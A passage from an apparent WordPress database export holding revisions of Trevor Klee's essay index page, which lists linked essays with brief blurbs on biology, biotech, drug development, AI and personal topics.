showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2024-09-03 13:59:55','2024-09-03 13:59:55','',22,'https://trevorklee.com/?p=457',0,'revision','',0),
(458,1,'2024-09-03 14:00:20','2024-09-03 14:00:20','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 